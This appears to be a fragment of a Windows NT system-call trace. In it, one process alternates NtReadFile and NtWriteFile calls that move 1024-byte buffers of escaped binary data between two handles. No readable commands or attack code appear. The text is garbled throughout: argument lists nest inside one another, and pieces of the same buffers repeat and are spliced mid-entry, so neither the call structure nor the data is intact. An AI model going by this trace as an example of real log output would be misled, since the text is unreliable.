d3\243\265\242\270\332\244\30a\364\13A;}Hdkg[8\212Z\231E\205+\217\330\11\203\5\242\303\36`+,\2044E\346q\320\3\254T\255\347\12\344c\211\215\1\223}\312\233\4\243\32\6\230"\36\353V\222\221\31z\32|\346ZS\210\243|m\211\372\362\272\241\266|\210\202=\14\202\20YHhi\231\235,\350\266\361\312\246y~\246\355\355,\304\357\5\20153\234~\313?f\221\10U\203\365\341./\6\324\261A\24\253\255\316\371@D\221\334\275?\244\36\314E=\206\315\34J\255\250lq&\23\221\252\373\375{\20\311\3077\242VXW\267o\241\263#\246\373\361,\32\225.\3\341\343(\237+\216\206\306\202\317\324\243\240\367\222S-\300\345\256M\213\364\232\243\213\303\274Xw\31-\363\177e\35\350\350\206W_{\326\237m\355\306[\367n1\227\372\31", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) P!7\372|8+y\237\374\373\231^\26\305\370\13jd'\305\211\1q\211\373'\313\362\273\26\303\273\313MO\237\5\365\304\324\221l\256\344\202cn\2\234\320I\204\237\273.\202\27#\34\202\254\316a\23&\233\343C\217JC\340\331\32m\360\375\206+\3679\360~;\311\301Y$\374\223!\271\372\345F\202\30\24pTj\26\1>\345\362\256\344\107V\263DtO\254\226\376\241\21\213\371\4\345<\3512DP\300H\270\371\356E|W\213N\324\360}\333U\351\16\373\223\332\230`3\376\305\321\11{X\255KD\206\222\217\256\240\33\34\242L\266\346\265|\210\353\25L\16l]\\12[r?\251(\264@\215q\343v\274\223\356/\34\243?0\330\241\301\263\335c\260]\215\205\33\3\20\205\333w?g\315P:\3436\376\273\37W\357\376eL\11\33\320\362 d3\243\265\242\270\332\244\30a\364\13A;}Hdkg[8\212Z\231E\205+\217\330\11\203\5\242\303\36`+,\2044E\346q\320\3\254T\255\347\12\344c\211\215\1\223}\312\233\4\243\32\6\230 (92, 0, 0, 0, "\371\243k\272\356\263@\205\245'\323\4T@L6\10"P!7\372|8+y\237\374\373\231^\26\305\370\13jd'\305\211\1q\211\373'\313\362\273\26\303\273\313MO\237\5\365\304\324\221l\256\344\202cn\2\234\320I\204\237\273.\202\27#\34\202\254\316a\23&\233\343C\217JC\340\331\32m\360\375\206+\3679\360~;\311\301Y$\374\223!\271\372\345F\202\30\24pTj\26\1>\345\362\256\344\107V\263DtO\254\226\376\241\21\213\371\4\345<\3512DP\300H\270\371\356E|W\213N\324\360}\333U\351\16\373\223\332\230`3\376\305\321\11{X\255KD\206\222\217\256\240\33\34\242L\266\346\265|\210\353\25L\16l]\\12[r?\251(\264@\215q\343v\274\223\356/\34\243?0\330\241\301\263\335c\260]\215\205\33\3\20\205\333w?g\315P:\3436\376\273\37W\357\376eL\11\33\320\362 d3\243\265\242\270\332\244\30a\364\13A;}Hdkg[8\212Z\231E\205+\217\330\11\203\5\242\303\36`+,\2044E\346q\320\3\254T\255\347\12\344c\211\215\1\223}\312\233\4\243\32\6\230"\36\353V\222\221\31z\32|\346ZS\210\243|m\211\372\362\272\241\266|\210\202=\14\202\20YHhi\231\235,\350\266\361\312\246y~\246\355\355,\304\357\5\20153\234~\313?f\221\10U\203\365\341./\6\324\261A\24\253\255\316\371@D\221\334\275?\244\36\314E=\206\315\34J\255\250lq&\23\221\252\373\375{\20\311\3077\242VXW\267o\241\263#\246\373\361,\32\225.\3\341\343(\237+\216\206\306\202\317\324\243\240\367\222S-\300\345\256M\213\364\232\243\213\303\274Xw\31-\363\177e\35\350\350\206W_{\326\237m\355\306[\367n1\227\372\31", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01254  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "6\3111:\276\374@<\14\333\335\375>\35p\311\25\35548\245\343/\321x$/\375 E4\331\362D%\3278\262\370M;+4\266/\263\222\14_\35\342"\201\210R\364\6.\347\25:\213W\14SF\16N\224O1Tu\223C\34Am\260\305=\263ae\221R\7\367w"BseRL\6\327\326\257\353,"\253\22102X2\966\231\246\332\16\20W?oz|\204W?\337\336\345\256\242[\247\26\2541V\2534\3539\54\340%!\364\30&w-u\36{\30W7n\363l_\13?5e7!d0\252g=\244\274\355\6,.:bu'\24} \231\302\351w/>V9\376\24\26^^^\12\210i!\313{%"\254\340\255\2/\4\305\250\12\321\340\341R\345\271\22\27\35499\260\304y=<\363\330\261\1Y)\245\6\3d-6V\241\210.\3030\4**\330r\337v)F5\261}\36'j9YvL\30\221:R\276jo\240\3109c\202L\367\352\347\241\243\217m}\31?\323PX\326s\231\324\20Q\22W|\21\373\260\5t=pajct$\341!d\353^\364\1696\253\273\371\2221\347\336\310\330\1\279 \324\36%\373\255J\366L %'b\6-f\52\250\321g\13-.-E2\315u c^\337\2\326\200\30%\375=\2278\26n\272\32\204\2\331\315\222\6y83)\251\203\300!{N\23)P\20\320P\25e\342_\31=\312V\35\373'\323!\346\37\34\350\37,\32\35\301i\231-\254\23--Oq\1213b\5\254\7\377\11\7\12<\177\17v*L,I. \302\24\20\23\201\21\357\37)}\23\277\25\342\27\305\112;\15\30\17w\1u\3;d\4swa2=^RELMQ]", ) \201\210R\364\6.\347\25:\213W\14SF\16N\224O1Tu\223C\34Am\260\305=\263ae\221R\7\367w (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "6\3111:\276\374@<\14\333\335\375>\35p\311\25\35548\245\343/\321x$/\375 E4\331\362D%\3278\262\370M;+4\266/\263\222\14_\35\342"\201\210R\364\6.\347\25:\213W\14SF\16N\224O1Tu\223C\34Am\260\305=\263ae\221R\7\367w"BseRL\6\327\326\257\353,"\253\22102X2\966\231\246\332\16\20W?oz|\204W?\337\336\345\256\242[\247\26\2541V\2534\3539\54\340%!\364\30&w-u\36{\30W7n\363l_\13?5e7!d0\252g=\244\274\355\6,.:bu'\24} \231\302\351w/>V9\376\24\26^^^\12\210i!\313{%"\254\340\255\2/\4\305\250\12\321\340\341R\345\271\22\27\35499\260\304y=<\363\330\261\1Y)\245\6\3d-6V\241\210.\3030\4**\330r\337v)F5\261}\36'j9YvL\30\221:R\276jo\240\3109c\202L\367\352\347\241\243\217m}\31?\323PX\326s\231\324\20Q\22W|\21\373\260\5t=pajct$\341!d\353^\364\1696\253\273\371\2221\347\336\310\330\1\279 \324\36%\373\255J\366L %'b\6-f\52\250\321g\13-.-E2\315u c^\337\2\326\200\30%\375=\2278\26n\272\32\204\2\331\315\222\6y83)\251\203\300!{N\23)P\20\320P\25e\342_\31=\312V\35\373'\323!\346\37\34\350\37,\32\35\301i\231-\254\23--Oq\1213b\5\254\7\377\11\7\12<\177\17v*L,I. \302\24\20\23\201\21\357\37)}\23\277\25\342\27\305\112;\15\30\17w\1u\3;d\4swa2=^RELMQ]", ) \253\22102X2\966\231\246\332\16\20W?oz|\204W?\337\336\345\256\242[\247\26\2541V\2534\3539\54\340%!\364\30&w-u\36{\30W7n\363l_\13?5e7!d0\252g=\244\274\355\6,.:bu'\24} \231\302\351w/>V9\376\24\26^^^\12\210i!\313{% (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "6\3111:\276\374@<\14\333\335\375>\35p\311\25\35548\245\343/\321x$/\375 E4\331\362D%\3278\262\370M;+4\266/\263\222\14_\35\342"\201\210R\364\6.\347\25:\213W\14SF\16N\224O1Tu\223C\34Am\260\305=\263ae\221R\7\367w"BseRL\6\327\326\257\353,"\253\22102X2\966\231\246\332\16\20W?oz|\204W?\337\336\345\256\242[\247\26\2541V\2534\3539\54\340%!\364\30&w-u\36{\30W7n\363l_\13?5e7!d0\252g=\244\274\355\6,.:bu'\24} \231\302\351w/>V9\376\24\26^^^\12\210i!\313{%"\254\340\255\2/\4\305\250\12\321\340\341R\345\271\22\27\35499\260\304y=<\363\330\261\1Y)\245\6\3d-6V\241\210.\3030\4**\330r\337v)F5\261}\36'j9YvL\30\221:R\276jo\240\3109c\202L\367\352\347\241\243\217m}\31?\323PX\326s\231\324\20Q\22W|\21\373\260\5t=pajct$\341!d\353^\364\1696\253\273\371\2221\347\336\310\330\1\279 \324\36%\373\255J\366L %'b\6-f\52\250\321g\13-.-E2\315u c^\337\2\326\200\30%\375=\2278\26n\272\32\204\2\331\315\222\6y83)\251\203\300!{N\23)P\20\320P\25e\342_\31=\312V\35\373'\323!\346\37\34\350\37,\32\35\301i\231-\254\23--Oq\1213b\5\254\7\377\11\7\12<\177\17v*L,I. \302\24\20\23\201\21\357\37)}\23\277\25\342\27\305\112;\15\30\17w\1u\3;d\4swa2=^RELMQ]", ) , ) == 0x0
 01255  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\234\207\330f&\1\245H\276\355\262!\247]\177\340\7`H\247\346\3672\233/I\325Y\350\231p\23\332\252"\14\344:\2665)\314\215\237c\303!0_\220,\310\324\4\226H\3573\251\26\12\341X\341"]\273\310\237\261\310\227R@j\226\33\252B\316\303\3fiL\304p\223%KG\376Vs\362n\241\35\270,\377\200\376U\234\362\2221\0R\350\136\325l\226\247\331\213\363H\244t\320\246u\311;\22u\356\37\35\311~T\372Q\263_#\267\301\355\243\14U\310;69\254I\3229z\272\235\332O\242\337\262\326\0&\323\362QV%\365!\271\244\235!\3359\266\327A\12\207\256j\305\312\207Zb\15\377\317$:\271\264\373\344\354\17;\376U\375R\236c\353\302Y\215\222\5\300p]\322\370K\235|\212\216\6\233\366\242\7V.9\371e\331\373\234\222\33\257\210*3\375\245\302\246@\306\271\265\32\20:\266\306f\14\11]yS\257_$\305\32Y\274)\324\362\303U\3\260k\15\27\265\325\355\355\1N\21!\255\225\200ar\246\370\12\351@\17\307\305H\207\17\245b53\266\211\305\244DD\245\12<\316#oj\203E\233>\260*s\202\315\301\216H\240\255\251?\223\356\303x\244g\344mPf{\205Ke,\267\257(\305\2D\217\376\357\336\4\231\374\17\300<\307\367\324\36l8\244@\307#\15F\22\344)\311\31\247"K\312\3748\334e\223fd\365\22\216\1G\370\16\241b\235\271\205\25+\216[`V\211\4<:\213\240\37\262,\304\3460Q\205\354\247\333\347\266\6\R]\202.[\256a\333\321\207~\17\337\305\254\253{\251\364\303\256(\207j\320\366\255'\355\257c\1o\34V\2\312\27\37Mc6\272\353\274R'\253\26\271(\177\222"}Dt\365\3630\2\370\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \14\344:\2665)\314\215\237c\303!0_\220,\310\324\4\226H\3573\251\26\12\341X\341 (92, 0, 0, 0, "\234\207\330f&\1\245H\276\355\262!\247]\177\340\7`H\247\346\3672\233/I\325Y\350\231p\23\332\252"\14\344:\2665)\314\215\237c\303!0_\220,\310\324\4\226H\3573\251\26\12\341X\341"]\273\310\237\261\310\227R@j\226\33\252B\316\303\3fiL\304p\223%KG\376Vs\362n\241\35\270,\377\200\376U\234\362\2221\0R\350\136\325l\226\247\331\213\363H\244t\320\246u\311;\22u\356\37\35\311~T\372Q\263_#\267\301\355\243\14U\310;69\254I\3229z\272\235\332O\242\337\262\326\0&\323\362QV%\365!\271\244\235!\3359\266\327A\12\207\256j\305\312\207Zb\15\377\317$:\271\264\373\344\354\17;\376U\375R\236c\353\302Y\215\222\5\300p]\322\370K\235|\212\216\6\233\366\242\7V.9\371e\331\373\234\222\33\257\210*3\375\245\302\246@\306\271\265\32\20:\266\306f\14\11]yS\257_$\305\32Y\274)\324\362\303U\3\260k\15\27\265\325\355\355\1N\21!\255\225\200ar\246\370\12\351@\17\307\305H\207\17\245b53\266\211\305\244DD\245\12<\316#oj\203E\233>\260*s\202\315\301\216H\240\255\251?\223\356\303x\244g\344mPf{\205Ke,\267\257(\305\2D\217\376\357\336\4\231\374\17\300<\307\367\324\36l8\244@\307#\15F\22\344)\311\31\247"K\312\3748\334e\223fd\365\22\216\1G\370\16\241b\235\271\205\25+\216[`V\211\4<:\213\240\37\262,\304\3460Q\205\354\247\333\347\266\6\R]\202.[\256a\333\321\207~\17\337\305\254\253{\251\364\303\256(\207j\320\366\255'\355\257c\1o\34V\2\312\27\37Mc6\272\353\274R'\253\26\271(\177\222"}Dt\365\3630\2\370\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) K\312\3748\334e\223fd\365\22\216\1G\370\16\241b\235\271\205\25+\216[`V\211\4<:\213\240\37\262,\304\3460Q\205\354\247\333\347\266\6\R]\202.[\256a\333\321\207~\17\337\305\254\253{\251\364\303\256(\207j\320\366\255'\355\257c\1o\34V\2\312\27\37Mc6\272\353\274R'\253\26\271(\177\222 (92, 0, 0, 0, "\234\207\330f&\1\245H\276\355\262!\247]\177\340\7`H\247\346\3672\233/I\325Y\350\231p\23\332\252"\14\344:\2665)\314\215\237c\303!0_\220,\310\324\4\226H\3573\251\26\12\341X\341"]\273\310\237\261\310\227R@j\226\33\252B\316\303\3fiL\304p\223%KG\376Vs\362n\241\35\270,\377\200\376U\234\362\2221\0R\350\136\325l\226\247\331\213\363H\244t\320\246u\311;\22u\356\37\35\311~T\372Q\263_#\267\301\355\243\14U\310;69\254I\3229z\272\235\332O\242\337\262\326\0&\323\362QV%\365!\271\244\235!\3359\266\327A\12\207\256j\305\312\207Zb\15\377\317$:\271\264\373\344\354\17;\376U\375R\236c\353\302Y\215\222\5\300p]\322\370K\235|\212\216\6\233\366\242\7V.9\371e\331\373\234\222\33\257\210*3\375\245\302\246@\306\271\265\32\20:\266\306f\14\11]yS\257_$\305\32Y\274)\324\362\303U\3\260k\15\27\265\325\355\355\1N\21!\255\225\200ar\246\370\12\351@\17\307\305H\207\17\245b53\266\211\305\244DD\245\12<\316#oj\203E\233>\260*s\202\315\301\216H\240\255\251?\223\356\303x\244g\344mPf{\205Ke,\267\257(\305\2D\217\376\357\336\4\231\374\17\300<\307\367\324\36l8\244@\307#\15F\22\344)\311\31\247"K\312\3748\334e\223fd\365\22\216\1G\370\16\241b\235\271\205\25+\216[`V\211\4<:\213\240\37\262,\304\3460Q\205\354\247\333\347\266\6\R]\202.[\256a\333\321\207~\17\337\305\254\253{\251\364\303\256(\207j\320\366\255'\355\257c\1o\34V\2\312\27\37Mc6\272\353\274R'\253\26\271(\177\222"}Dt\365\3630\2\370\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01256  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\303\360\226\256)8\270\37723;\277\24\5q\251%\344\325L\351\32\0\330~}`"\273\32\201\5<\236<3\317\310-7[\3752\351\320E8X\223\210+\306<\37x-i\357\2\14J\227_G\311 \4\341=)\253\256))| \305-\14,\361+J\267\313\3077F6\271\305\302@4\370\36\374B\340\317c\3120\240\332*\246Z%\252\324)?\315;\7\361\3339\177'\31v$\272G\276h\313l-%\332\373\33\262\26bi\202*\21\327\34\232\211 <'\355\316\237\257\2248Xs\7\357\36]88\3122\20\3157\204\311\230\3124\356)0\343\302+\337/\7\345\242%+&-y\244L\25"3\261\312@\11\263m\363=\355\2603M\237\323\341\222b!#\10\326\2577\244\351-*\243|\322\245~\314\360\330;<\275&E8)\262k=<\274?\3\224M\34\234\340%"\2560#\35\360\327<\316*\15.\336\252\306D)\270\1\264\3475k\306\354l\303\353\3<\33/\317-\337\252WA\251$CG\255~K\17\324\323-.-?\217|W\365\327>'3\351\272:z]5\357[\227\334\337\377$"b#&%\244\265\5%\33*\343}\3065\242t\20h;\2604\252*\2656\260}9\275\307\23\35hS\257\361-\253\24u\35\316\32 \31(\212&\211s\2\263\321\360#f\335\334\266\11)\275\13=\225\275\377\17<1FL>-\342.N$E\12\350I\257\371:+\242\307\225p1\366"E\6\336/\2<\324\267\37\263\272\35}\22\27\310\207\223\203<\305@/\363h\236/\215>\252\246v5$4\334\3407> a<\323\370\336?\332#\250\335\37&\360\177\276%\224%\307\266"\255\352_\31\3148\217?\261\32CTg\336@i<\253i\375z", ) \273\32\201\5<\236<3\317\310-7[\3752\351\320E8X\223\210+\306<\37x-i\357\2\14J\227_G\311 \4\341=)\253\256))| \305-\14,\361+J\267\313\3077F6\271\305\302@4\370\36\374B\340\317c\3120\240\332*\246Z%\252\324)?\315;\7\361\3339\177'\31v$\272G\276h\313l-%\332\373\33\262\26bi\202*\21\327\34\232\211 <'\355\316\237\257\2248Xs\7\357\36]88\3122\20\3157\204\311\230\3124\356)0\343\302+\337/\7\345\242%+&-y\244L\25 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\303\360\226\256)8\270\37723;\277\24\5q\251%\344\325L\351\32\0\330~}`"\273\32\201\5<\236<3\317\310-7[\3752\351\320E8X\223\210+\306<\37x-i\357\2\14J\227_G\311 \4\341=)\253\256))| \305-\14,\361+J\267\313\3077F6\271\305\302@4\370\36\374B\340\317c\3120\240\332*\246Z%\252\324)?\315;\7\361\3339\177'\31v$\272G\276h\313l-%\332\373\33\262\26bi\202*\21\327\34\232\211 <'\355\316\237\257\2248Xs\7\357\36]88\3122\20\3157\204\311\230\3124\356)0\343\302+\337/\7\345\242%+&-y\244L\25"3\261\312@\11\263m\363=\355\2603M\237\323\341\222b!#\10\326\2577\244\351-*\243|\322\245~\314\360\330;<\275&E8)\262k=<\274?\3\224M\34\234\340%"\2560#\35\360\327<\316*\15.\336\252\306D)\270\1\264\3475k\306\354l\303\353\3<\33/\317-\337\252WA\251$CG\255~K\17\324\323-.-?\217|W\365\327>'3\351\272:z]5\357[\227\334\337\377$"b#&%\244\265\5%\33*\343}\3065\242t\20h;\2604\252*\2656\260}9\275\307\23\35hS\257\361-\253\24u\35\316\32 \31(\212&\211s\2\263\321\360#f\335\334\266\11)\275\13=\225\275\377\17<1FL>-\342.N$E\12\350I\257\371:+\242\307\225p1\366"E\6\336/\2<\324\267\37\263\272\35}\22\27\310\207\223\203<\305@/\363h\236/\215>\252\246v5$4\334\3407> a<\323\370\336?\332#\250\335\37&\360\177\276%\224%\307\266"\255\352_\31\3148\217?\261\32CTg\336@i<\253i\375z", ) \2560#\35\360\327<\316*\15.\336\252\306D)\270\1\264\3475k\306\354l\303\353\3<\33/\317-\337\252WA\251$CG\255~K\17\324\323-.-?\217|W\365\327>'3\351\272:z]5\357[\227\334\337\377$ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\303\360\226\256)8\270\37723;\277\24\5q\251%\344\325L\351\32\0\330~}`"\273\32\201\5<\236<3\317\310-7[\3752\351\320E8X\223\210+\306<\37x-i\357\2\14J\227_G\311 \4\341=)\253\256))| \305-\14,\361+J\267\313\3077F6\271\305\302@4\370\36\374B\340\317c\3120\240\332*\246Z%\252\324)?\315;\7\361\3339\177'\31v$\272G\276h\313l-%\332\373\33\262\26bi\202*\21\327\34\232\211 <'\355\316\237\257\2248Xs\7\357\36]88\3122\20\3157\204\311\230\3124\356)0\343\302+\337/\7\345\242%+&-y\244L\25"3\261\312@\11\263m\363=\355\2603M\237\323\341\222b!#\10\326\2577\244\351-*\243|\322\245~\314\360\330;<\275&E8)\262k=<\274?\3\224M\34\234\340%"\2560#\35\360\327<\316*\15.\336\252\306D)\270\1\264\3475k\306\354l\303\353\3<\33/\317-\337\252WA\251$CG\255~K\17\324\323-.-?\217|W\365\327>'3\351\272:z]5\357[\227\334\337\377$"b#&%\244\265\5%\33*\343}\3065\242t\20h;\2604\252*\2656\260}9\275\307\23\35hS\257\361-\253\24u\35\316\32 \31(\212&\211s\2\263\321\360#f\335\334\266\11)\275\13=\225\275\377\17<1FL>-\342.N$E\12\350I\257\371:+\242\307\225p1\366"E\6\336/\2<\324\267\37\263\272\35}\22\27\310\207\223\203<\305@/\363h\236/\215>\252\246v5$4\334\3407> a<\323\370\336?\332#\250\335\37&\360\177\276%\224%\307\266"\255\352_\31\3148\217?\261\32CTg\336@i<\253i\375z", ) E\6\336/\2<\324\267\37\263\272\35}\22\27\310\207\223\203<\305@/\363h\236/\215>\252\246v5$4\334\3407> a<\323\370\336?\332#\250\335\37&\360\177\276%\224%\307\266 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\303\360\226\256)8\270\37723;\277\24\5q\251%\344\325L\351\32\0\330~}`"\273\32\201\5<\236<3\317\310-7[\3752\351\320E8X\223\210+\306<\37x-i\357\2\14J\227_G\311 \4\341=)\253\256))| \305-\14,\361+J\267\313\3077F6\271\305\302@4\370\36\374B\340\317c\3120\240\332*\246Z%\252\324)?\315;\7\361\3339\177'\31v$\272G\276h\313l-%\332\373\33\262\26bi\202*\21\327\34\232\211 <'\355\316\237\257\2248Xs\7\357\36]88\3122\20\3157\204\311\230\3124\356)0\343\302+\337/\7\345\242%+&-y\244L\25"3\261\312@\11\263m\363=\355\2603M\237\323\341\222b!#\10\326\2577\244\351-*\243|\322\245~\314\360\330;<\275&E8)\262k=<\274?\3\224M\34\234\340%"\2560#\35\360\327<\316*\15.\336\252\306D)\270\1\264\3475k\306\354l\303\353\3<\33/\317-\337\252WA\251$CG\255~K\17\324\323-.-?\217|W\365\327>'3\351\272:z]5\357[\227\334\337\377$"b#&%\244\265\5%\33*\343}\3065\242t\20h;\2604\252*\2656\260}9\275\307\23\35hS\257\361-\253\24u\35\316\32 \31(\212&\211s\2\263\321\360#f\335\334\266\11)\275\13=\225\275\377\17<1FL>-\342.N$E\12\350I\257\371:+\242\307\225p1\366"E\6\336/\2<\324\267\37\263\272\35}\22\27\310\207\223\203<\305@/\363h\236/\215>\252\246v5$4\334\3407> a<\323\370\336?\332#\250\335\37&\360\177\276%\224%\307\266"\255\352_\31\3148\217?\261\32CTg\336@i<\253i\375z", ) , ) == 0x0
 01257  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\310\235\330\237LP\363\356\224\216%\204\347\24v\20\300k\225\217|\263}W\261p\16\376\6\13\3030+\207\210!\235k_\24\17(\366e\207$\304\311\242H\50\335\307#9a\23\2455@\34v\213\210q'+pn\232\274\336w\333y\13\315\365\304\371M\300\345\320;\275I\346\27\265\240\247VT\336\312\2C\211\222\241|\240\13\315d\227\20\372\362\204O\3\377C|\272Xhq\2\276\32\26WF\326\325\335\262\361\314[\371v\376\304\331\256\27\360\261\16C5\300\364O\2701`g\370\3748\263\374\2517\306{-\200\204\11\250\22?\\337\346\379\214L\234J\272\360\246)\2\372\264c\221hF\310\14\337w\256\22\363\234q\15V\243\177,\267\375\177}I\3035r\361S\321\205\351\55< \34\6\302<\263\2037\14\17\376\206\2617f\33\365\343\3&x..\367\212K\311\255\321e\275,\273\342\310\213\342s\256\243lM2\265\304\34\244e=\235\3\200\234\235\305\367\310I\336\221\256(\213\23z\335O\20\210\20pd}9":\2037\244\343|&f\243\336J\366\275\361\361\227\343V\230l[\350\200\211\353p\323\257\215f\1SI\261;\225\262\2423\272\336\212\3203?\366\354'\307\25.\327\363\330d\207>/\213\231\331\346S8frL\250m\7\6\27~\2\11\300\314\324\270\377y\231\3468q\367%\317\6\272\31\0\236Q\325^a\317\353\341\235y\306\\264>\356\254\316-\376\272Tx|G\250\310\322\215a\324\3513`\331\21\322g\3622\215QG\262\353\4\307\222\247\372\361\36\373J~\12\253\34p\233R\372\254\2\206\355>\356y+\206\10\200\321\331\34\11\6_\3332\302M\255\32\213\302\327;\344\230D.\366$\300uB\4\2635\322\352\346Q\335GP\330\245~\361\357", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) :\2037\244\343|&f\243\336J\366\275\361\361\227\343V\230l[\350\200\211\353p\323\257\215f\1SI\261;\225\262\2423\272\336\212\3203?\366\354'\307\25.\327\363\330d\207>/\213\231\331\346S8frL\250m\7\6\27~\2\11\300\314\324\270\377y\231\3468q\367%\317\6\272\31\0\236Q\325^a\317\353\341\235y\306\\264>\356\254\316-\376\272Tx|G\250\310\322\215a\324\3513`\331\21\322g\3622\215QG\262\353\4\307\222\247\372\361\36\373J~\12\253\34p\233R\372\254\2\206\355>\356y+\206\10\200\321\331\34\11\6_\3332\302M\255\32\213\302\327;\344\230D.\366$\300uB\4\2635\322\352\346Q\335GP\330\245~\361\357", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01258  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35!R!+\333\362\2557\241}\372\174\240h?\330r\3422C4\227\367c92\217\221<:\243\32\30\34;s!)B" \23f&,(\17/-%,\27\324k?7&\2357?9+Chs{>kL]O[CuO"QADJ\7|LI+DCAC_VKo46Wz\367C5;V\302V\307\33\251^\36\36D\200"'$uB\256\15).\250\300%\36ygA'Y3_87R0P+VrT,[v\22\225\356J%\262\262\10,\326\220\357\257\212\231*\353\25031\201*\333\5\264:\271H\2703\260\304y\326>\12:\326\366\3450+\312\301\355\225!\330=\21j\11\217\11^2y@\26\333G\204-\273\34I\169(\266\371\177/G\357X\236\344\225\303#%\347.')vH$,".\320?1\273+\334~\3674\01m\323\177\177,n\363\351|\37\377 u\6\13\247\3416\256H\21x|\304\10\2156P6\3321\301\364zy0n{\262r(\37\177\17\274;j^k\347}}<~\344+\15:\327c\257\301&/3#3485\2624\308=6<>\20>\34\14\23\36\34\34 %,$&dm).:+/u/(!920R41%8:N\32=:-?\30\236\34\31\13 \245!\263%"3'+\267+,<\375%E1a\332O49\32671i8\374\270L;9\363\317\3^\37"\252?\7\3636%\337(\220**.-,\34\3601\273\16\204\36046\313\2222\205\330j\236<\220R\341O.P.r\313\312\345!\247(M\354\253\24-\14 \244\362\266\350@0=\259\231r7\354>*m\363\267\36\316H\340:.\247\377\257.S*\21*u0\255\327\15E=", )  \23f&,(\17/-%,\27\324k?7&\2357?9+Chs{>kL]O[CuO (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35!R!+\333\362\2557\241}\372\174\240h?\330r\3422C4\227\367c92\217\221<:\243\32\30\34;s!)B" \23f&,(\17/-%,\27\324k?7&\2357?9+Chs{>kL]O[CuO"QADJ\7|LI+DCAC_VKo46Wz\367C5;V\302V\307\33\251^\36\36D\200"'$uB\256\15).\250\300%\36ygA'Y3_87R0P+VrT,[v\22\225\356J%\262\262\10,\326\220\357\257\212\231*\353\25031\201*\333\5\264:\271H\2703\260\304y\326>\12:\326\366\3450+\312\301\355\225!\330=\21j\11\217\11^2y@\26\333G\204-\273\34I\169(\266\371\177/G\357X\236\344\225\303#%\347.')vH$,".\320?1\273+\334~\3674\01m\323\177\177,n\363\351|\37\377 u\6\13\247\3416\256H\21x|\304\10\2156P6\3321\301\364zy0n{\262r(\37\177\17\274;j^k\347}}<~\344+\15:\327c\257\301&/3#3485\2624\308=6<>\20>\34\14\23\36\34\34 %,$&dm).:+/u/(!920R41%8:N\32=:-?\30\236\34\31\13 \245!\263%"3'+\267+,<\375%E1a\332O49\32671i8\374\270L;9\363\317\3^\37"\252?\7\3636%\337(\220**.-,\34\3601\273\16\204\36046\313\2222\205\330j\236<\220R\341O.P.r\313\312\345!\247(M\354\253\24-\14 \244\362\266\350@0=\259\231r7\354>*m\363\267\36\316H\340:.\247\377\257.S*\21*u0\255\327\15E=", ) '$uB\256\15).\250\300%\36ygA'Y3_87R0P+VrT,[v\22\225\356J%\262\262\10,\326\220\357\257\212\231*\353\25031\201*\333\5\264:\271H\2703\260\304y\326>\12:\326\366\3450+\312\301\355\225!\330=\21j\11\217\11^2y@\26\333G\204-\273\34I\169(\266\371\177/G\357X\236\344\225\303#%\347.')vH$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35!R!+\333\362\2557\241}\372\174\240h?\330r\3422C4\227\367c92\217\221<:\243\32\30\34;s!)B" \23f&,(\17/-%,\27\324k?7&\2357?9+Chs{>kL]O[CuO"QADJ\7|LI+DCAC_VKo46Wz\367C5;V\302V\307\33\251^\36\36D\200"'$uB\256\15).\250\300%\36ygA'Y3_87R0P+VrT,[v\22\225\356J%\262\262\10,\326\220\357\257\212\231*\353\25031\201*\333\5\264:\271H\2703\260\304y\326>\12:\326\366\3450+\312\301\355\225!\330=\21j\11\217\11^2y@\26\333G\204-\273\34I\169(\266\371\177/G\357X\236\344\225\303#%\347.')vH$,".\320?1\273+\334~\3674\01m\323\177\177,n\363\351|\37\377 u\6\13\247\3416\256H\21x|\304\10\2156P6\3321\301\364zy0n{\262r(\37\177\17\274;j^k\347}}<~\344+\15:\327c\257\301&/3#3485\2624\308=6<>\20>\34\14\23\36\34\34 %,$&dm).:+/u/(!920R41%8:N\32=:-?\30\236\34\31\13 \245!\263%"3'+\267+,<\375%E1a\332O49\32671i8\374\270L;9\363\317\3^\37"\252?\7\3636%\337(\220**.-,\34\3601\273\16\204\36046\313\2222\205\330j\236<\220R\341O.P.r\313\312\345!\247(M\354\253\24-\14 \244\362\266\350@0=\259\231r7\354>*m\363\267\36\316H\340:.\247\377\257.S*\21*u0\255\327\15E=", ) 3'+\267+,<\375%E1a\332O49\32671i8\374\270L;9\363\317\3^\37 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35!R!+\333\362\2557\241}\372\174\240h?\330r\3422C4\227\367c92\217\221<:\243\32\30\34;s!)B" 